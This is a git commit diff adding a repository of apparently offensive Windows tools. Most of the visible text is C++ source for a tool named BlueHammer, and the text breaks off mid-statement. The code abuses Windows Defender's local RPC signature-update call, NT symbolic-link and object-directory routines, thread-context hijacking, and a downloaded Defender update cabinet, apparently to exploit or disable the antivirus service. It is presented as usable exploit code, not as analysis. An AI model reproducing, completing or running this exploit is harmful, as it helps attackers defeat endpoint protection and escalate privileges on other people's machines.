MiniPlasma/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/ru/Microsoft.Win32.TaskScheduler.resources.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/sv/Microsoft.Win32.TaskScheduler.resources.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/tr/Microsoft.Win32.TaskScheduler.resources.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/zh-CN/Microsoft.Win32.TaskScheduler.resources.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/zh-Hant/Microsoft.Win32.TaskScheduler.resources.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/Microsoft.Win32.TaskScheduler.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/Microsoft.Win32.TaskScheduler.xml create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/de/Microsoft.Win32.TaskScheduler.resources.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/es/Microsoft.Win32.TaskScheduler.resources.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/fr/Microsoft.Win32.TaskScheduler.resources.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/it/Microsoft.Win32.TaskScheduler.resources.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/ja/Microsoft.Win32.TaskScheduler.resources.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/pl/Microsoft.Win32.TaskScheduler.resources.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/ru/Microsoft.Win32.TaskScheduler.resources.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/sv/Microsoft.Win32.TaskScheduler.resources.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/tr/Microsoft.Win32.TaskScheduler.resources.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/zh-CN/Microsoft.Win32.TaskScheduler.resources.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/zh-Hant/Microsoft.Win32.TaskScheduler.resources.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/Microsoft.Win32.TaskScheduler.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/Microsoft.Win32.TaskScheduler.xml create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/de/Microsoft.Win32.TaskScheduler.resources.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/es/Microsoft.Win32.TaskScheduler.resources.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/fr/Microsoft.Win32.TaskScheduler.resources.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/it/Microsoft.Win32.TaskScheduler.resources.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/ja/Microsoft.Win32.TaskScheduler.resources.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/pl/Microsoft.Win32.TaskScheduler.resources.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/ru/Microsoft.Win32.TaskScheduler.resources.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/sv/Microsoft.Win32.TaskScheduler.resources.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/tr/Microsoft.Win32.TaskScheduler.resources.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/zh-CN/Microsoft.Win32.TaskScheduler.resources.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/zh-Hant/Microsoft.Win32.TaskScheduler.resources.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.0/Microsoft.Win32.TaskScheduler.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.0/Microsoft.Win32.TaskScheduler.xml create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.0/de/Microsoft.Win32.TaskScheduler.resources.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.0/es/Microsoft.Win32.TaskScheduler.resources.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.0/fr/Microsoft.Win32.TaskScheduler.resources.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.0/it/Microsoft.Win32.TaskScheduler.resources.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.0/ja/Microsoft.Win32.TaskScheduler.resources.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.0/pl/Microsoft.Win32.TaskScheduler.resources.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.0/ru/Microsoft.Win32.TaskScheduler.resources.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.0/sv/Microsoft.Win32.TaskScheduler.resources.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.0/tr/Microsoft.Win32.TaskScheduler.resources.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.0/zh-CN/Microsoft.Win32.TaskScheduler.resources.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.0/zh-Hant/Microsoft.Win32.TaskScheduler.resources.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.1/Microsoft.Win32.TaskScheduler.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.1/Microsoft.Win32.TaskScheduler.xml create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.1/de/Microsoft.Win32.TaskScheduler.resources.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.1/es/Microsoft.Win32.TaskScheduler.resources.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.1/fr/Microsoft.Win32.TaskScheduler.resources.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.1/it/Microsoft.Win32.TaskScheduler.resources.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.1/ja/Microsoft.Win32.TaskScheduler.resources.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.1/pl/Microsoft.Win32.TaskScheduler.resources.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.1/ru/Microsoft.Win32.TaskScheduler.resources.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.1/sv/Microsoft.Win32.TaskScheduler.resources.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.1/tr/Microsoft.Win32.TaskScheduler.resources.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.1/zh-CN/Microsoft.Win32.TaskScheduler.resources.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.1/zh-Hant/Microsoft.Win32.TaskScheduler.resources.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/tsnew48.png create mode 100644 RedSun/LICENSE create mode 100644 RedSun/README.md create mode 100644 RedSun/RedSun.cpp create mode 100644 RedSun/redsun.jpg create mode 100644 YellowKey/FsTx/95F62703B343F111A92A005056975458/FsTxLogs/FsTxKtmLog.blf create mode 100644 YellowKey/FsTx/95F62703B343F111A92A005056975458/FsTxLogs/FsTxKtmLogContainer00000000000000000001 create mode 100644 YellowKey/FsTx/95F62703B343F111A92A005056975458/FsTxLogs/FsTxKtmLogContainer00000000000000000002 create mode 100644 YellowKey/FsTx/95F62703B343F111A92A005056975458/FsTxLogs/FsTxLog.blf create mode 100644 YellowKey/FsTx/95F62703B343F111A92A005056975458/FsTxLogs/FsTxLogContainer00000000000000000001 create mode 100644 YellowKey/FsTx/95F62703B343F111A92A005056975458/FsTxLogs/FsTxLogContainer00000000000000000002 create mode 100644 YellowKey/FsTx/95F62703B343F111A92A005056975458/FsTxTemp/98F62703B343F111A92A005056975458 create mode 100644 YellowKey/LICENSE create mode 100644 YellowKey/README.md create mode 100644 YellowKey/shell.png create mode 100644 green-plasma/GreenPlasma.cpp create mode 100644 green-plasma/LICENSE create mode 100644 green-plasma/README.md create mode 100644 un-defend/EngineUnavailable.png create mode 100644 un-defend/LICENSE create mode 100644 un-defend/README.md create mode 100644 un-defend/UnDefend.cpp create mode 100644 un-defend/UpdateError.png diff --git a/.gitattributes b/.gitattributes new file mode 100644 index 0000000..80ef951 --- /dev/null +++ b/.gitattributes @@ -0,0 +1,10 @@ +MiniPlasma/packages/NtApiDotNet.1.1.33/lib/netstandard2.0/NtApiDotNet.xml filter=lfs diff=lfs merge=lfs -text +MiniPlasma/packages/NtApiDotNet.1.1.33/lib/net461/NtApiDotNet.dll filter=lfs diff=lfs merge=lfs -text +YellowKey/FsTx/95F62703B343F111A92A005056975458/FsTxLogs/FsTxLogContainer00000000000000000002 filter=lfs diff=lfs merge=lfs -text +MiniPlasma/packages/NtApiDotNet.1.1.33/lib/netstandard2.0/NtApiDotNet.dll filter=lfs diff=lfs merge=lfs -text +MiniPlasma/packages/NtApiDotNet.1.1.33/lib/net461/NtApiDotNet.xml filter=lfs diff=lfs merge=lfs -text +YellowKey/FsTx/95F62703B343F111A92A005056975458/FsTxLogs/FsTxLogContainer00000000000000000001 filter=lfs diff=lfs merge=lfs -text +BlueHammer/windefend_s.c filter=lfs diff=lfs merge=lfs -text +BlueHammer/windefend_c.c filter=lfs diff=lfs merge=lfs -text +MiniPlasma/packages/TaskScheduler.2.12.2/TaskScheduler.2.12.2.nupkg filter=lfs diff=lfs merge=lfs -text +MiniPlasma/packages/NtApiDotNet.1.1.33/NtApiDotNet.1.1.33.nupkg filter=lfs diff=lfs merge=lfs -text diff --git a/BlueHammer/FunnyApp.aps b/BlueHammer/FunnyApp.aps new file mode 100644 index 0000000000000000000000000000000000000000..1cf139a92a62ae92c94e80a649eb1e1dc92fcc22 GIT binary patch literal 1324 zcmb7D&2G~`5dI7~H2hpRa864Ptwf`w6ojf?jN=H4#I9l|Es`ZGiY*!`aV(oC^gVbG z9s_s=E)_4p8-#B+&e~BRh>gbCo%!aQ+1VKYs8N>7m2kVUUh;HEd5bH&;s0`}<@RbN z-{8l6z&Q8&S(Ik}Fr1EKKby_dQRJslGRyq-JdSVmBvG4sIugDQDQ6T9Ca(FlV8cKM zeYB`4Vl`0R<58|OT2a?;fTz^#_P-~6%Kp#B@n|v+quRk@9FwembMW{9QM|%GxC8g>Ne~1b&ad6q67Ot7t8U!$OL0~wx*K<0`pLW)^u)FWO=GtAbKPqxsR{jY1HVH?sgY-l33)T_ zkMIev@e0ReyOJ4%#4e=m9nT+SrK==s5cSw-J +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "windefend_h.h" + +/* +#include +#include +#include +#include +#include +#include +#include +*/ +#include "offreg.h" +#define _NTDEF_ +#include +#include + +#pragma comment(lib, "wininet.lib") +#pragma comment(lib, "ktmw32.lib") +#pragma comment(lib, "Shlwapi.lib") +#pragma comment(lib, "Rpcrt4.lib") +#pragma comment(lib, "ntdll.lib") +#pragma comment(lib, "Cabinet.lib") +#pragma comment(lib, "Wuguid.lib") +#pragma comment(lib,"CldApi.lib") + + +/// NT routines and definitions +HMODULE hm = GetModuleHandle(L"ntdll.dll"); +NTSTATUS(WINAPI* _NtCreateSymbolicLinkObject)( + OUT PHANDLE pHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN PUNICODE_STRING DestinationName) = (NTSTATUS(WINAPI*)( + OUT PHANDLE pHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN PUNICODE_STRING DestinationName))GetProcAddress(hm, "NtCreateSymbolicLinkObject"); +NTSTATUS(WINAPI* _NtOpenDirectoryObject)( + PHANDLE DirectoryHandle, + ACCESS_MASK DesiredAccess, + POBJECT_ATTRIBUTES ObjectAttributes + ) = (NTSTATUS(WINAPI*)( + PHANDLE DirectoryHandle, + ACCESS_MASK DesiredAccess, + POBJECT_ATTRIBUTES ObjectAttributes + ))GetProcAddress(hm, "NtOpenDirectoryObject");; +NTSTATUS(WINAPI* _NtQueryDirectoryObject)( + HANDLE DirectoryHandle, + PVOID Buffer, + ULONG Length, + BOOLEAN ReturnSingleEntry, + BOOLEAN RestartScan, + PULONG Context, + PULONG ReturnLength + ) = (NTSTATUS(WINAPI*)( + HANDLE DirectoryHandle, + PVOID Buffer, + ULONG Length, + BOOLEAN ReturnSingleEntry, + BOOLEAN RestartScan, + PULONG Context, + PULONG ReturnLength + ))GetProcAddress(hm, "NtQueryDirectoryObject"); +NTSTATUS(WINAPI* _NtSetInformationFile)( + HANDLE FileHandle, + PIO_STATUS_BLOCK IoStatusBlock, + PVOID FileInformation, + ULONG Length, + FILE_INFORMATION_CLASS FileInformationClass + ) = (NTSTATUS(WINAPI*)( + HANDLE FileHandle, + PIO_STATUS_BLOCK IoStatusBlock, + PVOID FileInformation, + ULONG Length, + FILE_INFORMATION_CLASS FileInformationClass + ))GetProcAddress(hm, "NtSetInformationFile"); + +NTSTATUS(WINAPI* _NtCreateDirectoryObjectEx)( + OUT PHANDLE DirectoryHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN HANDLE ShadowDirectoryHandle, + IN ULONG Flags) = + (NTSTATUS(WINAPI*)( + OUT PHANDLE DirectoryHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN HANDLE ShadowDirectoryHandle, + IN ULONG Flags))GetProcAddress(hm,"NtCreateDirectoryObjectEx"); + +#define RtlOffsetToPointer(Base, Offset) ((PUCHAR)(((PUCHAR)(Base)) + ((ULONG_PTR)(Offset)))) + + +typedef struct _FILE_DISPOSITION_INFORMATION_EX { + ULONG Flags; +} FILE_DISPOSITION_INFORMATION_EX, * PFILE_DISPOSITION_INFORMATION_EX; +typedef struct _OBJECT_DIRECTORY_INFORMATION { + UNICODE_STRING Name; + UNICODE_STRING TypeName; +} OBJECT_DIRECTORY_INFORMATION, * POBJECT_DIRECTORY_INFORMATION; + +typedef struct _REPARSE_DATA_BUFFER { + ULONG ReparseTag; + USHORT ReparseDataLength; + USHORT Reserved; + union { + struct { + USHORT SubstituteNameOffset; + USHORT SubstituteNameLength; + USHORT PrintNameOffset; + USHORT PrintNameLength; + ULONG Flags; + WCHAR PathBuffer[1]; + } SymbolicLinkReparseBuffer; + struct { + USHORT SubstituteNameOffset; + USHORT SubstituteNameLength; + USHORT PrintNameOffset; + USHORT PrintNameLength; + WCHAR PathBuffer[1]; + } MountPointReparseBuffer; + struct { + UCHAR DataBuffer[1]; + } GenericReparseBuffer; + } DUMMYUNIONNAME; +} REPARSE_DATA_BUFFER, * PREPARSE_DATA_BUFFER; + +#define REPARSE_DATA_BUFFER_HEADER_LENGTH FIELD_OFFSET(REPARSE_DATA_BUFFER, GenericReparseBuffer.DataBuffer) + +//////////////// NT DEF END + + +// definitions of structures used by threads that invoke WD RPC calls +struct WDRPCWorkerThreadArgs +{ + HANDLE hntfythread; + HANDLE hevent; + RPC_STATUS res; + wchar_t* dirpath; +}; + +typedef struct tagMPCOMPONENT_VERSION { + ULONGLONG Version; + ULARGE_INTEGER UpdateTime; +} MPCOMPONENT_VERSION, * PMPCOMPONENT_VERSION; + +typedef struct tagMPVERSION_INFO { + MPCOMPONENT_VERSION Product; + MPCOMPONENT_VERSION Service; + MPCOMPONENT_VERSION FileSystemFilter; + MPCOMPONENT_VERSION Engine; + MPCOMPONENT_VERSION ASSignature; + MPCOMPONENT_VERSION AVSignature; + MPCOMPONENT_VERSION NISEngine; + MPCOMPONENT_VERSION NISSignature; + MPCOMPONENT_VERSION Reserved[4]; +} MPVERSION_INFO, * PMPVERSION_INFO; + +typedef union Version { + struct { + WORD major; + WORD minor; + WORD build; + WORD revision; + }; + ULONGLONG QuadPart; +}; +////////////////// + + +// structures and global vars used by definition update functions +void* cabbuff2 = NULL; +DWORD cabbuffsz = 0; +struct CabOpArguments { + ULONG index; + char* filename; + size_t ptroffset; + char* buff; + DWORD FileSize; + CabOpArguments* first; + CabOpArguments* next; +}; + +struct UpdateFiles { + char filename[MAX_PATH]; + void* filebuff; + DWORD filesz; + bool filecreated; + HANDLE hsymlink; + UpdateFiles* next; +}; +/////////////////////////////////////// + + +// structures and global vars used by volume shadow copy functions +struct cldcallbackctx { + + HANDLE hnotifywdaccess; + HANDLE hnotifylockcreated; + wchar_t filename[MAX_PATH]; +}; + +struct LLShadowVolumeNames +{ + wchar_t* name; + LLShadowVolumeNames* next; +}; + +struct cloudworkerthreadargs { + HANDLE hlock; + HANDLE hcleanupevent; + HANDLE hvssready; +}; +/////////////////////////////////////// + + + +////////////////////////////////////////////////////////////////////// +// Functions required by RPC +///////////////////////////////////////////////////////////////////// + +void __RPC_FAR* __RPC_USER midl_user_allocate(size_t cBytes) +{ + return((void __RPC_FAR*) malloc(cBytes)); +} + +void __RPC_USER midl_user_free(void __RPC_FAR* p) +{ + free(p); +} +////////////////////////////////////////////////////////////////////// +// Functions required by RPC end +///////////////////////////////////////////////////////////////////// + + + + +////////////////////////////////////////////////////////////////////// +// WD RPC functions +///////////////////////////////////////////////////////////////////// +void ThrowFunc() +{ + throw 0; +} + +void RaiseExceptionInThread(HANDLE hthread) +{ + CONTEXT ctx = { 0 }; + ctx.ContextFlags = CONTEXT_FULL; + SuspendThread(hthread); + + if (GetThreadContext(hthread, &ctx)) + { + ctx.Rip = (DWORD64)ThrowFunc; + SetThreadContext(hthread, &ctx); + ResumeThread(hthread); + } +} + +void CallWD(WDRPCWorkerThreadArgs* args) +{ + RPC_WSTR MS_WD_UUID = (RPC_WSTR)L"c503f532-443a-4c69-8300-ccd1fbdb3839"; + RPC_WSTR StringBinding; + if (RpcStringBindingComposeW(MS_WD_UUID, (RPC_WSTR)L"ncalrpc", NULL, (RPC_WSTR)L"IMpService77BDAF73-B396-481F-9042-AD358843EC24", NULL, &StringBinding) != RPC_S_OK) + { + printf("Unexpected error while building an RPC binding from string !!!"); + RaiseExceptionInThread(args->hntfythread); + return; + } + RPC_BINDING_HANDLE bindhandle = 0; + if (RpcBindingFromStringBindingW(StringBinding, &bindhandle) != RPC_S_OK) + { + printf("Failed to connect to windows defender RPC port !!!"); + RaiseExceptionInThread(args->hntfythread); + return; + } + error_status_t errstat = 0; + printf("Calling ServerMpUpdateEngineSignature...\n"); + //_getch(); + RPC_STATUS stat = Proc42_ServerMpUpdateEngineSignature(bindhandle, NULL, args->dirpath, &errstat); + args->res = stat; + if (args->hevent) + SetEvent(args->hevent); + +} + +DWORD WINAPI WDCallerThread(void* args) +{ + if (!args) + return ERROR_BAD_ARGUMENTS; + CallWD((WDRPCWorkerThreadArgs*)args); + return ERROR_SUCCESS; + +} +////////////////////////////////////////////////////////////////////// +// WD RPC functions end +///////////////////////////////////////////////////////////////////// + + + + +////////////////////////////////////////////////////////////////////// +// WD definition update functions +///////////////////////////////////////////////////////////////////// + +CabOpArguments* CUST_FNOPEN(const char* filename, int oflag, int pmode) +{ + + CabOpArguments* cbps = (CabOpArguments*)malloc(sizeof(CabOpArguments)); + ZeroMemory(cbps, sizeof(CabOpArguments)); + cbps->buff = (char*)cabbuff2; + cbps->FileSize = cabbuffsz; + return cbps; +} + +INT CUST_FNSEEK(HANDLE hf, + long offset, + int origin) +{ + + if (hf) + { + CabOpArguments* CabOpArgs = (CabOpArguments*)hf; + if (origin == SEEK_SET) + CabOpArgs->ptroffset = offset; + if (origin == SEEK_CUR) + CabOpArgs->ptroffset += offset; + if (origin == SEEK_END) + CabOpArgs->ptroffset += CabOpArgs->FileSize; + + return CabOpArgs->ptroffset; + + } + + return -1; +} + + +UINT CUST_FNREAD(CabOpArguments* hf, + void* const buffer, + unsigned const buffer_size) +{ + + if (hf) + { + CabOpArguments* CabOpArgs = (CabOpArguments*)hf; + if (CabOpArgs->buff) + { + + memmove(buffer, &CabOpArgs->buff[CabOpArgs->ptroffset], buffer_size); + CabOpArgs->ptroffset += buffer_size; + //CabOpArgs->ReadBytes += buffer_size; + return buffer_size; + } + } + + return NULL; +} + +UINT CUST_FNWRITE(CabOpArguments* hf, + const void* buffer, + unsigned int count) +{ + + if (hf) + { + if (hf->buff) { + memmove(&hf->buff[hf->ptroffset], buffer, count); + hf->ptroffset += count; + return count; + } + } + + + return NULL; +} + +INT CUST_FNCLOSE(CabOpArguments* fnFileClose) +{ + + free(fnFileClose); + return 0; +} + +VOID* CUST_FNALLOC(size_t cb) +{ + return malloc(cb); +} + +VOID CUST_FNFREE(void* buff) +{ + free(buff); +} + +INT_PTR CUST_FNFDINOTIFY( + FDINOTIFICATIONTYPE fdinotify, PFDINOTIFICATION pfdin +) { + + //printf("_FNFDINOTIFY : %d\n", fdinotify); + wchar_t newfile[MAX_PATH] = { 0 }; + wchar_t filename[MAX_PATH] = { 0 }; + HANDLE hfile = NULL; + ULONG rethandle = 0; + CabOpArguments** ptr = NULL; + CabOpArguments* lcab = NULL; + switch (fdinotify) + { + case fdintCOPY_FILE: + if (_stricmp(pfdin->psz1, "MpSigStub.exe") == 0) + return NULL; + + ptr = (CabOpArguments**)pfdin->pv; + lcab = *ptr; + if (lcab == NULL) { + lcab = (CabOpArguments*)malloc(sizeof(CabOpArguments)); + ZeroMemory(lcab, sizeof(CabOpArguments)); + lcab->first = lcab; + lcab->filename = (char*)malloc(strlen(pfdin->psz1) + sizeof(char)); + ZeroMemory(lcab->filename, strlen(pfdin->psz1) + sizeof(char)); + memmove(lcab->filename, pfdin->psz1, strlen(pfdin->psz1)); + lcab->FileSize = pfdin->cb; + lcab->buff = (char*)malloc(lcab->FileSize); + ZeroMemory(lcab->buff, lcab->FileSize); + } + else + { + lcab->next = (CabOpArguments*)malloc(sizeof(CabOpArguments)); + ZeroMemory(lcab->next, sizeof(CabOpArguments)); + lcab->next->first = lcab->first; + lcab = lcab->next; + + lcab->filename = (char*)malloc(strlen(pfdin->psz1) + sizeof(char)); + ZeroMemory(lcab->filename, strlen(pfdin->psz1) + sizeof(char)); + memmove(lcab->filename, pfdin->psz1, strlen(pfdin->psz1)); + lcab->FileSize = pfdin->cb; + lcab->buff = (char*)malloc(lcab->FileSize); + ZeroMemory(lcab->buff, lcab->FileSize); + } + + lcab->first->index++; + *ptr = lcab; + + + + return (INT_PTR)lcab; + break; + case fdintCLOSE_FILE_INFO: + return TRUE; + break; + default: + return 0; + } + return 0; +} + +void* GetCabFileFromBuff(PIMAGE_DOS_HEADER pvRawData, ULONG cbRawData, ULONG* cabsz) +{ + if (cbRawData < sizeof(IMAGE_DOS_HEADER)) + { + return 0; + } + + if (pvRawData->e_magic != IMAGE_DOS_SIGNATURE) + { + return 0; + } + + ULONG e_lfanew = pvRawData->e_lfanew, s = e_lfanew + sizeof(IMAGE_NT_HEADERS); + + if (e_lfanew >= s || s > cbRawData) + { + return 0; + } + + PIMAGE_NT_HEADERS pinth = (PIMAGE_NT_HEADERS)RtlOffsetToPointer(pvRawData, e_lfanew); + + + + if (pinth->Signature != IMAGE_NT_SIGNATURE) + { + return 0; + } + + ULONG SizeOfImage = pinth->OptionalHeader.SizeOfImage, SizeOfHeaders = pinth->OptionalHeader.SizeOfHeaders; + + s = e_lfanew + SizeOfHeaders; + + if (SizeOfHeaders > SizeOfImage || SizeOfHeaders >= s || s > cbRawData) + { + return 0; + } + + s = FIELD_OFFSET(IMAGE_NT_HEADERS, OptionalHeader) + pinth->FileHeader.SizeOfOptionalHeader; + + if (s > SizeOfHeaders) + { + return 0; + } + + ULONG NumberOfSections = pinth->FileHeader.NumberOfSections; + + PIMAGE_SECTION_HEADER pish = (PIMAGE_SECTION_HEADER)RtlOffsetToPointer(pinth, s); + + ULONG Size; + + if (NumberOfSections) + { + if (e_lfanew + s + NumberOfSections * sizeof(IMAGE_SECTION_HEADER) > SizeOfHeaders) + { + return 0; + } + + do + { + if (Size = min(pish->Misc.VirtualSize, pish->SizeOfRawData)) + { + union { + ULONG VirtualAddress, PointerToRawData; + }; + + VirtualAddress = pish->VirtualAddress, s = VirtualAddress + Size; + + if (VirtualAddress > s || s > SizeOfImage) + { + return 0; + } + + PointerToRawData = pish->PointerToRawData, s = PointerToRawData + Size; + + if (PointerToRawData > s || s > cbRawData) + { + return 0; + } + + char rsrc[] = ".rsrc"; + if (memcmp(pish->Name, rsrc, sizeof(rsrc)) == 0) + { + typedef struct _IMAGE_RESOURCE_DIRECTORY2 { + DWORD Characteristics; + DWORD TimeDateStamp; + WORD MajorVersion; + WORD MinorVersion; + WORD NumberOfNamedEntries; + WORD NumberOfIdEntries; + IMAGE_RESOURCE_DIRECTORY_ENTRY DirectoryEntries[]; + } IMAGE_RESOURCE_DIRECTORY2, * PIMAGE_RESOURCE_DIRECTORY2; + + PIMAGE_RESOURCE_DIRECTORY2 pird = (PIMAGE_RESOURCE_DIRECTORY2)RtlOffsetToPointer(pvRawData, pish->PointerToRawData); + + PIMAGE_RESOURCE_DIRECTORY2 prsrc = pird; + PIMAGE_RESOURCE_DIRECTORY_ENTRY pirde = { 0 }; + PIMAGE_RESOURCE_DATA_ENTRY pdata = 0; + + while (pird->NumberOfNamedEntries + pird->NumberOfIdEntries) + { + + + + + pirde = &pird->DirectoryEntries[0]; + if (!pirde->DataIsDirectory) + { + pdata = (PIMAGE_RESOURCE_DATA_ENTRY)RtlOffsetToPointer(prsrc, pirde->OffsetToData); + pdata->OffsetToData -= pish->VirtualAddress - pish->PointerToRawData; + void* cabfile = RtlOffsetToPointer(pvRawData, pdata->OffsetToData); + if (cabsz) + *cabsz = pdata->Size; + return cabfile; + } + pird = (PIMAGE_RESOURCE_DIRECTORY2)RtlOffsetToPointer(prsrc, pirde->OffsetToDirectory); + } + break; + + + + + } + + + + } + + } while (pish++, --NumberOfSections); + } + return NULL; + +} + + +UpdateFiles* GetUpdateFiles(int* filecount = NULL) +{ + + + + HINTERNET hint = NULL; + HINTERNET hint2 = NULL; + char data[0x1000] = { 0 }; + DWORD index = 0; + DWORD sz = sizeof(data); + bool res2 = 0; + wchar_t filesz[50] = { 0 }; + LARGE_INTEGER li = { 0 }; + GUID uid = { 0 }; + RPC_WSTR wuid = { 0 }; + wchar_t* wuid2 = 0; + wchar_t envstr[MAX_PATH] = { 0 }; + wchar_t mpampath[MAX_PATH] = { 0 }; + HANDLE hmpap = NULL; + void* exebuff = NULL; + DWORD readsz = 0; + HANDLE hmapping = NULL; + void* mappedbuff = NULL; + HRSRC hres = NULL; + DWORD ressz = NULL; + HGLOBAL cabbuff = NULL; + char fname[] = "update.cab"; + ERF erfstruct = { 0 }; + HFDI hcabctx = NULL; + bool extractres = false; + DWORD totalsz = 0; + HANDLE hmpeng = NULL; + CabOpArguments* CabOpArgs = NULL; + CabOpArguments* mpenginedata = NULL; + void* dllview = NULL; + char** filesmtrx = 0; + UpdateFiles* firstupdt = NULL; + UpdateFiles* current = NULL; + + DWORD nbytes = 0; + + + printf("Downloading updates...\n"); + hint = InternetOpen(L"Chrome/141.0.0.0", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, NULL); + if (!hint) + { + printf("Failed to open internet, error : %d", GetLastError()); + goto cleanup; + } + + hint2 = InternetOpenUrl(hint, L"https://go.microsoft.com/fwlink/?LinkID=121721&arch=x64", NULL, NULL, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP | INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS | INTERNET_FLAG_NO_UI | INTERNET_FLAG_RELOAD, NULL); + //InternetCloseHandle(hint); + if (!hint2) + { + printf("Failed to open internet URL, error : %d", GetLastError()); + goto cleanup; + } + + res2 = HttpQueryInfo(hint2, HTTP_QUERY_CONTENT_LENGTH, data, &sz, &index); + if (!res2) + { + printf("Failed to query update size, error : %d", GetLastError()); + goto cleanup; + } + + + wcscpy(filesz, (LPWSTR)data); + sz = _wtoi(filesz); + li.QuadPart = sz; + + + exebuff = malloc(sz); + if (!exebuff) + { + printf("Failed to allocate memory to download file !!!"); + goto cleanup; + } + ZeroMemory(exebuff, sz); + + if (!InternetReadFile(hint2, exebuff, sz, &readsz) || readsz != sz) + { + + printf("Failed to download update from internet, error : %d", GetLastError()); + goto cleanup; + } + InternetCloseHandle(hint); + hint = NULL; + InternetCloseHandle(hint2); + hint = NULL; + printf("Done.\n"); + mappedbuff = GetCabFileFromBuff((PIMAGE_DOS_HEADER)exebuff, sz, &ressz); + + + + if (!mappedbuff) + { + printf("Failed to retrieve cabinet file from downloaded file.\n"); + goto cleanup; + } + printf("Cabinet file mapped at 0x%p\n", mappedbuff); + + + + + cabbuff2 = mappedbuff; + cabbuffsz = ressz; + + printf("Extracting cab file content...\n"); + hcabctx 